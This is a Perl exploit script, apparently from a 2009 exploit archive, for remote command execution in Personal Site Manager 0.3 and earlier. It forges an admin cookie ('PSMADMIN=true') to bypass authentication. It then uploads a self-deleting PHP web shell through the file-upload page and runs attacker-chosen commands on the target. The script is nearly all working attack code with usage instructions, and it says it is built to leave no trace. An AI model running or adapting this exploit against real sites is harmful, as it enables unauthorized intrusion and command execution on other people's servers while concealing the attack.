|
# --+++===========================================================================+++--
# --+++====== Personal Site Manager <= 0.3 Remote Command Execution Exploit ======+++--
# --+++===========================================================================+++--
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use IO::Socket;
my $hostname = shift;
my $path = shift;
my $cmd = join " ", @ARGV;
usage () if (!$path);
open SHELL, ">shell.php";
# shell.php will be delete, it won't leave any trace about exploit's run
print SHELL "<? system (\$_GET ['cmd']); unlink ('shell.php'); ?>";
close SHELL;
my $url = "http://${hostname}${path}/psm/upload_file.php?submit=banane";
my $lwp = LWP::UserAgent->new;
# This CMS is also vulnerable to Insicure Cookie Handling
$lwp->default_header('Cookie' => "PSMADMIN=true");
my $req = $lwp->request (
POST $url,
Content_Type => 'multipart/form-data',
Content => [upload => ["shell.php"]],
);
unlink ("shell.php");
if ($req->is_success)
{
my $sock = new IO::Socket::INET (
PeerHost => $hostname,
PeerPort => 80,
Proto => "tcp",
);
print "\n[+] Running ${cmd}...\n\n";
$cmd =~ s/ /%20/g;
print $sock "GET ${path}/psm/datastore/files/shell.php?cmd=${cmd}\r\n\r\n";
print $_ while (<$sock>);
close ($sock);
print "\n";
}
else
{
print "[-] Unable to end execution.\n";
}
sub usage
{
die "\n[+] Personal Site Manager <= 0.3 Remote Command Execution Exploit".
"\n[+] Author : darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Download: http://garr.dl.sourceforge.net/sourceforge/psm/psm_0_3.zip".
"\n[+] Usage : perl ${0} <hostname> <path> <cmd>".
"\n[+] Ex. : perl ${0} localhost /PSM ls -l".
"\n\n";
}
# [2009-01-29]
|